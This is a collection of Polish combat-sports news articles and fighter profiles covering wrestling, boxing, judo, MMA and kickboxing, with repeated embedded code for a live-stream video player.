Monika Michalik to jedna z najbardziej utytułowanych polskich zapaśniczek. W sierpniu ubiegłego roku sprawiła nam ogromną radość podczas Igrzysk Olimpijskich w Rio de Janeiro, gdzie wywalczyła brązowy medal. Michalik trzy razy stawała na najniższym stopniu podium podczas mistrzostw świata. Pierwszy sukces na arenie europejskiej osiągnęła w 2002 roku. W Seinajoki wywalczyła brąz, ale już rok później w Rydze została najlepszą zawodniczką Starego Kontynentu w kategorii 59kg. Kolejne sukcesy świętowała w 63kg.
Co istotne, po raz ostatni na podium mistrzostw Europy zapaśniczka Grunwaldu Poznań stała w 2013 roku. W Tbilisi zdobyła srebro, lepsza była tylko Anastasija Grigorjeva. Upłynęły cztery lata i Polka stanęła na podium. Po raz czwarty Monika Michalik sięgnęła po tytuł mistrzyni Europy. Dla naszej zapaśniczki ten triumf ma wyjątkowy smak, bo została najlepszą zawodniczką Starego Kontynentu w dniu swoich 37. urodzin.
W Nowym Sadzie Michalik wygrała trzy pojedynki. Na początek, w ćwierćfinale, spotkała się z Sarą da Col. Polka okazała się zdecydowanie lepsza od 24-letniej Włoszki i pewnie awansowała do finału, gdzie czekała na nią Laura Skujina. Łotyszka to brązowa medalistka mistrzostw świata z 2014 roku, jednak w starciu z doświadczoną Polką nie miała czego szukać. Michalik zrobiła swoje i awansowała do finału. Tam czekała na nią Taybe Yusein Mustafa, która na swoim koncie miała trzy medale mistrzostw Europy, ale nie udało jej się wywalczyć złota. Michalik nie zamierzała ułatwiać zadania rywalce, choć finałowy pojedynek lepiej rozpoczęła Bułgarka. Wraz z upływem czasu przewagę zyskiwała Polka, która po wyrównanym pojedynku mogła wznieść ręce w geście triumfu.
Podium było blisko
Pierwszego dnia mistrzostw Europy mogliśmy mieć trzy medale, jednak Anna Łukasiak (48kg) i Zbigniew Baranowski (97kg) przegrali rywalizację o podium.
Łukasiak zmagania w Nowym Sadzie rozpoczęła od pojedynku z Marią Stadnik, która pewnie zmierzała w stronę złota i dotarła na szczyt. Z kolei Polka musiała radzić sobie w repasażach, gdzie pokonała Evin Demirhan z Turcji. W starciu o brąz Łukasiak musiała uznać wyższość Emilii Vuc.
O krok od wielkiego sukcesu był Zbigniew Baranowski. Rok temu w Rydze zapaśnik był 15. W Serbii walczył o brąz, jednak w decydującym starciu trafił na wicemistrza z Rio Selima Yasara.
KM
Cały bokserski świat odlicza godziny do starcia Anthony'ego Joshuy z Władimirem Kliczko. To bez wątpienia starcia roku. Wieczorem 29 kwietnia na stadionie Wembley w Londynie temperatura sięgnie zenitu.
Starcie o prymat w wadze ciężkiej. Do ringu wejdą pięściarze, którzy znajdują się w zupełnie innych miejscach. Joshua niczym „młody wilk” pokonuje kolejne przeszkody w drodze na szczyt, z kolei Kliczko wraca po przegranej z Tysonem Furym.
Starcie gladiatorów
Ponad 90 tysięcy widzów będzie śledziło z bliska pojedynek Joshuy z Kliczko. A przed telewizorami zasiądą miliony tych, którzy będą chcieli zobaczyć walkę roku w wadze ciężkiej i przekonać się, kto zostanie królem.
Dzieli ich trzynaście lat, czyli szmat czasu. Gdy Joshua zaczynał swoją edukacyjną ścieżkę, Kliczko poznawał świat boksu. W pierwszej walce znokautował Fabiana Meza i tak zaczęła się fantastyczna kariera ukraińskiego boksera. Kliczko to ikona i legenda pięściarstwa. 41-latek zanotował na swoim koncie cztery porażki, ale tą najbardziej bolesną w listopadzie 2015 roku. W Dusseldorfie musiał uznać wyższość Tysona Fury'ego, który zgarnął cztery pasy mistrzowskie. Czas Ukraińca dobiegł końca. Jednak Kliczko nie dawał za wygraną i chciał spotkać się z Fury'm w walce rewanżowej. Nowy mistrz wyraził zgodę, podano termin starcia, jednak kilkukrotnie go zmieniano. Ostatecznie na jaw wyszły problemy Fury'ego z używkami, a ten zdecydował się zrzec pasów.
Od razu zaczęły się spekulacje, kto może spotkać się w starciu o prymat w wadze ciężkiej. Nie ulegało wątpliwości, że Kliczko będzie chciał odzyskać swoje. A na horyzoncie pojawił się głodny, pewny siebie i skuteczny Anthony Joshua. Niespełna 28-letni pięściarz może pochwalić się pasem IBF, który zdobył w kwietniu ubiegłego roku pokonując Charlesa Martina. Joshua to prawdziwa maszyna, terminator, który nie ma litości dla rywali. 18 walk i wszystkie wygrane przed czasem.
W Londynie spotkają się pięściarze z różnych epok, światów. Wiadomo jedno – zapowiada się mocne i ciekawe widowisko. Takie może być, jeżeli obu nie sparaliżuje strach i taktyka oraz ostrożność nie wezmą góry nad chęcią boksowania. A w takich przypadkach bywało różnej. Z dużej chmury mały deszcz. Miejmy nadzieję, że w tym przypadku tak nie będzie.
Kliczko lżejszy
Były czempion wagi ciężkiej już dawno nie był tak „lekki”. Osiem lat temu, przed starciem z Rusłanem Czagajewem, Kliczko ważył 109 kilogramów. Przed londyńskim pojedynku wniósł na wagę dokładnie tyle samo. W porównaniu do ostatniego występu, walka z Fury'm, Ukrainiec schudł 2,5 kg.
Zupełnie inaczej sytuacja wygląda w przypadku Joshuy. Ten nabiera masy. W porównaniu ze starciem z Erikiem Moliną zyskał 0,5 kg i waży 113,4kg.
KM
Fałszywe poklepywanie po plecach, intrygi, brak szczerości – tak opisuje sytuację w Polskim Związku Judo mistrz olimpijski z Atlanty. W liście otwartym Paweł Nastula przyznał, że popełnił błąd obdarzając zaufaniem obecne władze.
46-letni Nastula jest ikoną polskiego judo. Jego głos na temat sytuacji w związku odbił się szerokim echem.
Jest źle
W grudniu 2016 roku prezesem Polskiego Związku Judo został Jacek Zawadka. Uzyskał 119 głosów, jego konkurenta Krzysztofa Wiłkomirskiego poparło dziewięć osób mniej. Kandydaturę Jacka Zawadki wspierał Paweł Nastula. Mistrz olimpijski z Atlanty uważa, że popełnił błąd. – Przepraszam za mój list przedwyborczy, w którym poparłem Jacka Zawadkę. Między innymi dzięki mojemu poparciu został prezesem Polskiego Związku Judo i jest mi z tego powodu wstyd. Piszę o tym już teraz, kilka miesięcy po tym jak doszło do zmian w PZJ a w zasadzie… po tym jak do tych zmian nie doszło. I to jest powód mojego oburzenia i rozgoryczenia. To ja namawiałem Was do głosowania na J.Zawadkę, bo jak poważni ludzie ustaliliśmy, że liczą się słowa. Okazało się, że tylko ja uważałem, że uczciwość nakazuje wywiązywanie się z zobowiązań (pisownia oryginalna) – napisał Paweł Nastula w liście otwartym, który zamieścił na swoim facebooku.
Mistrz olimpijski z Atlanty był gotowy wspierać związek swoim doświadczeniem, a nawet złożył propozycję poprowadzenia kadry. Sytuacja diametralnie się zmieniła – Nie zgadzam się na używanie mojego nazwiska do przykrywania patologicznych rozwiązań jakie mają być wprowadzone. Jestem człowiekiem honoru i nie można mnie kupić. Zanim to się stanie zapowiadam: nie przyjmuję malowanego stanowiska w kadrze. Nie dam z siebie zrobić przysłowiowego misia na Krupówkach, z którym można sobie najwyżej robić zdjęcia. Ja już wiem w jakim kierunku będzie zmierzał Związek. Wy dowiecie się niebawem. I jest to kierunek, którym nie zamierzam podążać. To byłaby upokarzająca podróż z małymi ludźmi, którzy nie chcą zmian. Chcą jedynie trwać na stanowiskach. Nie chcą wygrywać, chcą tylko pozostawać w grze. Zamiast doświadczenia na tatami, wolą doświadczenie w intrygach, zamiast szacunku wolą usłużność a zamiast szczerości, fałszywe poklepywanie po plecach. W prawdziwym judo tak nie da się wygrywać! – wyjaśnia Nastula.
Mistrz olimpijski podkreślił, że ubolewa nad sytuacją młodych zawodników. – Boję się, że to bagno może ich wciągnąć i zniszczyć – zaznaczył w swoim liście. Sam podjął decyzję o wycofaniu się z poparcia dla obecnych władz. Jednocześnie zaznaczył, że nie zostawia judo.
Całą treść listu otwartego Pawła Nastuli można znaleźć tu.
Co dalej?
Paweł Nastula nie przebierał w słowach. Zabrał głos po mistrzostwach Europy w Warszawie, podczas których Polska wywalczyła jeden medal. W czwartek zbiera się się zarząd PZJudo w celu podsumowania imprezy. Zarazem zostaną podjęte decyzje dotyczące kadry trenerskiej. Czy władze związku odniosą się do listu Pawła Nastuli?
Fot. EJU/Facebook Paweł Nastula
KM
Amerykański zawodnik MMA meksykańskiego pochodzenia urodzony 18 stycznia 1981 roku w East Chicago. W MMA zadebiutował 27 marca 2000 roku pokonując przez nokaut Larryego Paulliama. W latach 2000-2007 walczył przede wszystkim na lokalnych galach i turniejach gdzie uzyskał bilans 32-1. W 2007 roku związał się z World Extreme Cagefighting. Pierwszą walkę dla tej federacji stoczył 5 września 2007 roku pokonując Jeffa Bedarda. Drugi pojedynek dla WEC stoczył 13 lutego 2008 roku. W tym pojedynku stawką był pas mistrzowski kategorii koguciej. Miguel zdominował swojego rywala poddając go w pierwszej rundzie tym samym zostając nowym mistrzem federacji WEC. Na przestrzeni półtora roku trzykrotnie udanie bronił pasa pokonując kolejno: Yoshiro Maedę, Mannego Tapię i Takeyę Mizugakiego, tym samym dominując swoją kategorię wagową. 9 sierpnia 2009 roku na gali WEC 42, w swojej czwartej obronie pasa mistrzostwa, niespodziewanie został znokautowany przez Briana Bowlesa. 6 marca 2010 roku przegrał drugą walkę z rzędu w organizacji, poddając się wskutek założonego duszenia Josepha Benavideza. We wrześniu 2010 roku poddał Charliego Valencię przełamując zwycięską niemoc. Po nowym roku WEC zaprzestało działalności i został przeniesiony do Ultimate Fighting Championship. W latach 2011-2012 stoczył dla UFC cztery pojedynki. Dwa wygrane nad Antonio Banuelosem i Nickiem Pacem oraz dwa przegrane z Demetriousem Johnsonem i Michaelem McDonaldem. Z ostatnim przegrał w fatalnym stylu przez ciężki nokaut, po czym został zwiolniony z UFC. W tym samym roku związał się z nowopowstałą World Series of Fighting lecz przegrał dwa pojedynki m.in. z Marlonem Moraesem na punkty i postanowiono nie kontynuować z nim współpracy. Po kilku wygranych pojedynkach w 2014 roku dla mniejszych organizacji, 27 czerwca 2015 roku w finale turnieju wagi piórkowej chińskiej organizacji Rebel FC, uległ pochodzącemu z Brazylii Japończykowi Kleberowi Koike Erbstowi przez poddanie. 24 września 2016 roku pokonał przez duszenie Lloyda Cartera.
Rafał Dudek rusza na podbój świata. 33-letni fighter z Nowego Sącza podpisał kontrakt z organizacją Glory.
Dudek to czołowy polski kickboxer wagi lekkiej. Na swoim koncie zapisał wiele ciekawych doświadczeń. Teraz będzie miał okazję zaprezentować się w rywalizacji na galach organizacji Glory.
Zdobyć chwałę
Dla każdego kickboxera występ na gali Glory to wyróżnienie. Można dyskutować z kondycją organizacji, jednak nadal stanowi markę, która dla wielu jest wyznacznikiem sukcesu. W lutym na Glory 38 w Chicago mogliśmy podziwiać Pawła Jędrzejczyka i Łukasza Pławeckiego. Niestety, obaj przegrali swoje walki na punkty.
W tym roku na gali Glory powinniśmy zobaczyć Rafała Dudka, który podpisał umowę z organizacją. Dla zawodnika z Nowego Sącza to ogromne wyróżnienie i radość. – Jestem bardzo szczęśliwy. Walczyłem już na całym świecie ale dla Glory jeszcze nie. Jestem związany z najlepszą organizacją kickboxingu w Polsce i teraz wiąże się z najlepszą na świecie. Jednym słowem Najlepsi z Najlepszych grają w jednej drużynie. To dla mnie wielki prestiż ale też motywacja i zobowiązanie. Jestem ambasadorem Nowego Sącza. Także w moim mieście 23 czerwca na DSF Kickboxing Challenge 10 zmierzę się Rafałem Jackiewiczem. Teraz, do tego jeszcze będę reprezentował Polskę w Glory. Dużo się dzieje ale długo na to pracowałem – nie ukrywa Rafał Dudek.
Zawodnik trenujący w holenderskim klubie Mike's Gym imponuje aktywnością i pracowitością. W ubiegłym roku stoczył aż siedem walk. Brązowy medalista mistrzostw Europy WAKO nadal jest związany z organizacją DSF.
Oczekiwanie
Po raz kolejny Rafał Dudek ruszy na podbój świata. Fighter z Nowego Sącza ma bogate doświadczenie i z pewnością nie ugnie się pod presją ani nie zje go trema. W ubiegłym roku z bardzo dobrej strony zaprezentował się w programie Enfusion Reality, który nagrywano w Tajlandii.
Kibice sportów walki w Polsce z ogromnym zaciekawieniem podchodzą do zaplanowanej na 23 czerwca walki Rafała Dudka z Rafałem Jackiewiczem. – Plan na walkę jest prosty: ciągła presja i kopanie. Trzeba pokazać w Polsce, że K-1 jest skuteczniejsze niż boks! – przedstawiał w styczniu w FighTime.pl kickboxer z Nowego Sącza.
Jackiewicz szerokiej publiczności jest znany z występów w ringu bokserskich. Odniósł blisko 50 zwycięstw. Jednak zanim spróbował swoich sił jako bokser, doskonalił się w kickboxingu. Jednak rywalizacja z Dudkiem będzie dla Jackiewicza debiutem w K-1. 40-latek próbował również swoich sił w MMA, jednak skończyło się na jednej walce. Na gali KSW 28 pogromcą Jackiewicza okazał się Marcin Parcheta.
KM
Starcie Riccardo Nosiglii z Michałem Oleksiejczukiem miało być jednym z hitów gali FEN 16 Warsaw Reloaded. Niestety, poważna kontuzja Włocha sprawiła, że pojedynek wypadł z karty walk. Włoski specjalista od nokautów w pierwszych rundach wrócił jednak do formy i zapowiadająca się szlagierowo walka „The Walking Dead” vs „The Hammer” dojdzie do skutku już 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena!
Riccardo „The Walking Dead” Nosiglia (28 lat, 186 cm, 5-0), dwukrotny mistrz włoskiej organizacji Power Nation Fighting Championship w kategorii półciężkiej, to jedno z najnowszych odkryć federacji Fight Exclusive Night. Zawodnik Shoot Team Padwa w swoim debiucie na gali FEN 15 Final Strike sensacyjnie pokonał Marcina Zontka, mimo że propozycję walki przyjął tydzień przed galą i po raz pierwszy walczył na tak dużej imprezie. Włoch szybko przejął inicjatywę, zdominował rywala i wygrał w stylu, który stał się już jego wizytówką – najpierw powalił byłego pretendenta do pasa mistrzowskiego FEN na deski, a potem zasypał go gradem ciosów, po których sędzia przerwał pojedynek. Była to piąta zawodowa walka Nosiglii i jednocześnie piąta z rzędu, którą „The Walking Dead” skończył uderzeniami w parterze już w pierwszej rundzie.
Jego przeciwnik na gali FEN 17 Baltic Storm, Michał „The Hammer” Oleksiejczuk (22 lata, 182 cm, 11-2), może pochwalić się jeszcze bardziej imponującą serią – reprezentant GKS Górnik Łęczna wygrał osiem kolejnych walk, pozostając niepokonanym od ponad dwóch lat. Jedno z tych zwycięstw odniósł na gali FEN 12 Feel The Force, wygrywając na punkty po ciężkim trzyrundowym boju ze szczecińskim Berserkerem Wojciechem Januszem. W ostatnich miesiącach Oleksiejczuk zdobył także, a później dwukrotnie obronił tytuł mistrza lokalnej federacji Thunderstrike Fight League, pokonując kolejno Łukasza Borowskiego, Łukasza Klingera i Brazylijczyka Charlesa Andrade. Zdaniem ekspertów, „The Hammer” to jeden z tych polskich fighterów MMA młodego pokolenia, którzy mają największe szanse na podpisanie w najbliższym czasie kontraktów z organizacją UFC.
Oprócz tego emocjonująco zapowiadającego się pojedynku kibice 12 maja obejrzą także walki MMA z udziałem m.in. Kamila Łebkowskiego, Piotra Hallmanna i Ireneusza Szydłowskiego oraz starcia Michała Wlazło z Czechem Martinem Chudejem i Jakuba Kowalewicza z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder i Artur Bizewski. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Polska zawodniczka Muay Thai i K-1 urodzona w Siedlcach. Katarzyna jest dwukrotną mistrzynią Polski Oriental Rules (2013,2014), mistrzynią Polski K-1 (2016) oraz trzykrotną mistrzynią Świata Muay Thai (2014,2015,2017). Na zawodowych ringach stoczyła pięć pojedynków z czego cztery wygrała. Obecnie jest związana z federacją Ladies Fight Night.
Polska zawodniczka K-1 i MMA urodzona 23 kwietnia 1992 roku w Rzeszowie. Hanna jest trzykrotną mistrzynią Polski w Muay Thai (2014,2015,2016). W 2015 roku zdobyła mistrzostwo Europy K-1 federacji WKF. Dwukrotnie zwyciężyła w Mistrzostwach Świata K-1 federacji WKF (2014-2015). Na zawodowym ringu stoczyła 4 pojedynki, trzy z nich wygrała. Obecnie jest związana z federacją Ladies Fight Night.
Polska zawodniczka K-1 urodzona 5 sierpnia 1993 roku we Wrocławiu. Zawodowy rekord Patrycji to pięć walk, każda wygrana. Poniżej sukcesy Patrycji:
ROK 2016:
LFN Ladies Fight Night "That's All Folks" vs. A. Jursova (5:0) TKO 1 round
FEN10: Gold Edition vs. Monika Porażyńska (4:0) TKO 1 round
ROK 2015:
– Zawodowy Mistrz Polski K1 -52kg (3:0),
– FEN5:Cuprum Heroes vs. Alexandra Jursova (2:0)
ROK 2014:
– Mistrzyni Polski Pro Am K1 -52kg (1:0)
– brązowa medalistka Mistrzostw Europy K1 WAKO Seniorów (Bilbao)
– Vice Mistrzostwo Polski K1 Seniorów – 52kg
ROK 2013:
– Mistrzostwo Polski Muay Thai Seniorów
– Mistrzostwo Polski Młodzieżowców K1
– Vice Mistrzostwo Polski KickLight Młodzieżowców
– Vice Mistrzostwo Puchar Polski Low-Kick Seniorów
– Vice Mistrzostwo Puchar Polski K1 Seniorów
– 3m. Mistrzostwa Polski K1 Seniorów
– 3 krotna zwyciężczyni Maximus Combat League
ROK 2012
– V-ce Mistrzyni Świata K-1 Rules Juniorów – Bratysława 2012
– Mistrzyni Polski K-1 Rules Juniorów
– Mistrzostwo Polski Muay Thai
– V-ce Mistrzyni Polski Low-Kick Juniorów
– V-ce Mistrzyni Polski Kick-Light Juniorów
– V-ce Mistrzyni Polski w Light–Contact Juniorów
ROK 2011
– Brązowa Medalistka Mistrzostw Europy WACO K-1 Rules Juniorów Lignano Sabbiadoro, Włochy 2011,
– Trzykrotna Mistrzyni– International Muay Thai League „Gryfa zachodniopomorskiego”
– Mistrzyni Polski Muay Thai
– V-ce Mistrzyni Polski Low-Kick
– V-ce Mistrzyni Polski Kick-Light Juniorów
– Brązowa Medalistka:
– Mistrzostw Polski K-1 Rules Juniorów
– Mistrzostwa Polski Light–Contact Juniorów
– Medalistka Polish Open Low Kick Junior
– Międzynarodowych Mistrzostw Polski K-1 Rules Juniorów
Polska zawodniczka MMA urodzona 20 kwietnia 1991 roku w Łodzi. Katarzyna jest mistrzynią Polski w Taekwondo, zdobyła również mistrzostwo Europy i mistrzostwo Świata w Taekwondo. Katarzyna jest także medalistką mistrzostw Polski i Europy w Judo. Na zawodowym ringu MMA Katarzyna stoczyła pięć walk z których trzy wygrała. Obecnie jest związana z Federacją Ladies Fight Night.
Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 17 Baltic Storm.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z ceremonii ważenia przed galą FEN 17 Baltic Storm.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisje telewizyjna na żywo z XXIV Warszawskiej Grandy. Organizatorzy zaplanowali rekordową liczbę pojedynków w formule K-1.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Jeden medal wywalczyła Polska podczas mistrzostw Europy w judo, które odbyły się w Warszawie. Wynik nie powala na kolana, ale prezes Polskiego Związku Judo Jacek Zawadka jest optymistą. – Patrzymy z nadzieją w przyszłość – mówi.
Rok temu w Kazaniu biało-czerwoni zdobyli trzy medale. Piotr Kuczera (90kg) sprawił miłą niespodziankę i stanął na najniższym stopniu podium. Drużyna kobiet cieszyła się z mistrzostwa Europy, a panowie świętowali wywalczenie brązowego medalu. W Warszawie honor polskiego judo uratowała płeć piękna.
A miało być tak pięknie
Z nadzieją przystępowaliśmy do mistrzostw Europy w Warszawie. W naszym przypadku siła tkwiła w drużynie, ale i indywidualnie mogliśmy mieć nadzieję. Na tatami zaprezentowała się mieszanka rutyny z młodością. Miała być wybuchowa, jednak nie była. Mistrzostwa Europy w Warszawie zakończyliśmy z jednym medalem, który zapisały na swoim koncie nasze panie. Biało-czerwone w półfinale pokonały Niemki 3:2 (punkty: Pieńkowska, Borowska i Kłys), a w finale nie dały rady Francuzkom (0:5). Z kolei męska reprezentacja poległa w walce o ćwierćfinał z Węgrami 2:3. A jak było indywidualnie? Najlepiej spisali się Katarzyna Kłys (70kg), dla której była to ostatnia impreza w karierze oraz Maciej Sarnacki (+100kg). Oboje uplasowali się na piątych lokatach. – Wyniki pokazują nam, w którym miejscu jesteśmy. Mamy zawodników z ogromnym potencjałem i musimy to wykorzystać. Czeka nas dużo pracy. Przyszedłem z misją zmian. Musimy czerpać wzorce od najlepszych i połączyć to z tym, co jest u nas dobre – podaje Jacek Zawadka.
O powody do optymizmu trudno, jednak sternik PZJudo wierzy, że ciężka praca wyda owoce. – Nie jest tak, że sportowo wszystko wyglądało źle. Młody Patryk Wawrzyczek pokazał się z dobrej strony. Kontuzja stanęła na przeszkodzie Damianowi Szwarnowieckiemu. Start Piotra Kuczery poniżej oczekiwań. Może w tym przypadku zawiodły przygotowania, czegoś zabrakło, ale to bardzo dobry zawodnik. Widać potencjał u naszych judoków. Musimy stworzyć odpowiednie warunki. Zapewnić sztab szkoleniowy z trenerami motoryki, taktyki walk czy też psychologa – tłumaczy prezes PZJudo.
Sportowo możemy kręcić nosem i wyrażać niezadowolenie. Nie pozostaje nic innego jak zrobić rachunek sumienia, a następnie przystąpić do ciężkiej pracy i wyeliminować błędy. Mistrzostwa Europy w Warszawie przeszły do historii. Jakie wspomnienia pozostawiły? – Słyszałem pochlebne opinie. Zdaniem wielu osób organizacja imprezy stała na wysokim poziomie. Wszystko było na czas, świetna oprawa – wylicza Zawadka.
Ruszyć do przodu
Teraz przed polskim judo kolejne wyzwania. W którą stroną pójdą działacze? – Trwa konkurs ofert na trenerów kadry. 27 kwietnia zbiera się zarząd, który przeanalizuje wszystkie dokumenty. Chcemy wszystko dokładnie przygotować i ruszyć z kopyta – podkreśla prezes PZJudo.
Ogólne kierunki działania są znane. Teraz najważniejsze, aby wszyscy patrzyli w jedną stronę i opracowali plan, który pozwoli naszym judokom na sukces w Igrzyskach Olimpijskich w Tokio w 2020 roku.
Fot. PZJudo
KM
Czwarte zwycięstwo z rzędu zapisał na swoim koncie Krzysztof Zimnoch. 33-letni bokser wagi ciężkiej podczas gali w Legionowie znokautował Michaela Granta. Zwycięstwo dało mu awans w rankingu Boxrec. Kolejna walka Zimnocha ma odbyć się we wrześniu.
W Legionowie spotkali się pięściarze z dwóch różnych bajek. Siedemnaście lat temu Grant walczył z Lennoxem Lewisem o pasy WBC, IBF i IBO w kategorii ciężkiej. Teraz nieuchronnie zbliża się do zakończenia kariery. Z kolei Zimnoch stara się wybić i zaistnieć w boksie zawodowym.
Plan wykonany
33-letni pięściarz z Białegostoku w sobotę (22 kwietnia) po raz trzeci zawitał do Legionowa. Dotychczas miał mieszane uczucia związane z występami w mieście położonym w Kotlinie Warszawskiej. W maju 2013 roku rozprawił się na punkty z byłym mistrzem świata WBC Olivierem McCallem. Amerykanin imponował… wiekiem. W ringu pojawił się mając na karku 48 lat. Kolejny występ (luty 2016) Zimnocha to starcie z Mike'm Mollo. Amerykanin już w pierwszej rundzie posłał Polaka na deski. To jedyna porażka w karierze 33-letniego Zimnocha, który w lutym br. w Szczecinie wziął rewanż na Mollo.
Los sprawił, że pięściarz z Białegostoku po raz trzeci zawitał do Legionowa. Stanął przed poważnym wyzwaniem, bo przyszło mu rywalizować z byłym pretendentem do tytułu mistrza świata. Swego czasu Michael Grant rywalizował z Andrzejem Gołotą, ale było to… 18 lat temu. Siedem lat temu Amerykanin przegrał z Tomaszem Adamkiem. Najlepsze lata Grant ma już za sobą. Dodatkowo do starcia z Zimnochem przystępował po dwóch porażkach z rzędu.
Polak nie pozostawił rywalowi żadnych złudzeń. Od początku ruszył do natarcia. Już w pierwszej rundzie Grant znalazł się w opałach, kiedy to po jedynym z ciosów Zimnocha musiał się ratować klinczem, aby nie zapoznać się bliżej z deskami. 33-letni pięściarz kontynuował natarcie i w drugiej odsłonie zasypał Amerykanina gradem ciosów. W końcu Grant przyklęknął, a następnie prawy prosty Zimnocha zakończył sprawę.
Walka na jesieni
